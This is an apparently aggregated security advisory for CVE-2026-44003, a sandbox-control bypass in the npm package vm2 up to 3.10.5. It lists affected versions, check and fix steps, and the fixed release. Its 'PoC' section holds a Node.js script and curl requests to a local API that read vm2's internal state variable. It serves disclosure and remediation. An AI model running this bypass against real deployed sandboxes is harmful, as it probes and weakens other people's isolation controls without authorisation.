---
id: "CVE-2026-44003"
page: "https://infrastack.ai/live/CVE-2026-44003"
kind: "vulnerability"
aliases: ["CVE-2026-44003", "GHSA-wp5r-2gw5-m7q7"]
title: "vm2's Transformer Fast-Path Bypass Exposes Internal State Variable"
severity: "medium"
cvss: 5.8
epss: 0.00248
exploited: false
status: "open"
category: "package"
products: [{"name": "vm2", "fixed": ["3.11.0"], "affected": "<= 3.10.5", "ecosystem": "npm"}, {"name": "vm2 project vm2", "fixed": ["3.11.0"], "affected": "< 3.11.0", "ecosystem": "vendor"}]
ecosystems: ["npm", "vendor"]
tags: ["cwe-693", "node.js", "npm", "package", "sandboxing", "vm2"]
not_affected_if: ["no-untrusted-code", "vm2-above-3.10.5"]
published_at: "2026-05-07T04:32:56+00:00"
first_seen_at: "2026-11-05T22:11:14+00:00"
updated_at: "2026-11-05T22:16:00+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-wp5r-2gw5-m7q7", "first_seen_at": "2026-11-05T22:11:14+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44003", "first_seen_at": "2026-11-05T22:16:00+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00248, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-44003"}]
---

# vm2's Transformer Fast-Path Bypass Exposes Internal State Variable

Link for people: https://infrastack.ai/live/CVE-2026-44003 (this .md is for agents)

vm2 skips its code-analysis step when sandboxed code has no catch, import or async keyword, so sandboxed code can read the internal state variable and list its helper functions. The sources say these helpers are not direct escape vectors today, but the sandbox control is bypassed.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:vm2 affected <= 3.10.5 fixed 3.11.0
- vendor:vm2 project vm2 affected < 3.11.0 fixed 3.11.0

## How to check

- Check the installed vm2 version with `npm ls vm2` in each project that uses it.
- Search lock files and dependency trees for `vm2` to find transitive copies.
- Look for code that runs untrusted input through `new VM()` or `vm.run` without the keywords the sources mention.

## Fix

- vm2 `3.11.0` (affected versions are `<= 3.10.5`).

## Timeline

- 2026-11-05T22:11:14+00:00 ghsa https://github.com/advisories/GHSA-wp5r-2gw5-m7q7
- 2026-11-05T22:16:00+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-44003

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-wp5r-2gw5-m7q7
- [advisory] Maintainer's advisory: github.com https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7
- [fix] Release: github.com https://github.com/patriksimek/vm2/releases/tag/v3.11.0
- [fix] Patch: github.com https://github.com/patriksimek/vm2/commit/9f0484862b74be3584169db282236a47f418ddbb

## From the sources

### Summary
vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain `catch`, `import`, or `async` keywords. This fast-path bypass allows sandboxed code to directly access the internal `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` variable, which exposes internal security functions (`handleException`, `wrapWith`, `import`).

### Details
In `lib/transformer.js:55-57`, a regex check `/\b(?:catch|import|async)\b/` determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.

When the fast-path is taken:
1. **INTERNAL_STATE_NAME identifier check is bypassed**: The AST visitor that blocks access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` never runs
2. **`with` statement instrumentation is bypassed**: `with()` statements are not wrapped with `wrapWith()`, enabling scope manipulation
3. The internal state object exposes: `handleException(e)`, `wrapWith(x)`, `import(what)`

While these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.

### PoC

**Library-level PoC (Node.js script — primary):**
```javascript
const { VM } = require("vm2");
const vm = new VM();

// Access internal state (bypassed — no catch/import/async keywords)
const result = vm.run(`
  var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;
  Object.keys(x).join(",")
`);
console.log(result); // "wrapWith,handleException,import"

// Control test — blocked when catch keyword is present
try {
  vm.run(`
    try {
      var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;
    } catch(e) { e.message }
  `);
} catch(e) {
  console.log(e.message); // "Use of internal vm2 state variable"
}
```

**HTTP demonstration:**
```bash
# Internal state access (bypassed)
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\",\")"}'
# Result: "wrapWith,handleException,import"

# Control test — blocked when catch keyword is present
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message }"}'
# Result: {"errors":["Use of internal vm2 state variable"]}
```

**Suggested fix:**
```javascript
// transformer.js:55 — add 'with' keyword and INTERNAL_STATE_NAME check
if (!/\b(?:catch|import|async|with)\b/.test(code) && code.indexOf(INTERNAL_STATE_NAME) === -1) {
    return {__proto__: null, code, hasAsync: false};
}
```

### Impact
- **Security Control Bypass**: The INTERNAL_STATE_NAME access restriction is completely ineffective when the code avoids 3 specific keywords.
- **Defense-in-Depth Violation**: Internal security functions are exposed, creating a latent attack surface for future code changes.
- **Scope**: All applications using vm2. No special configuration required.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
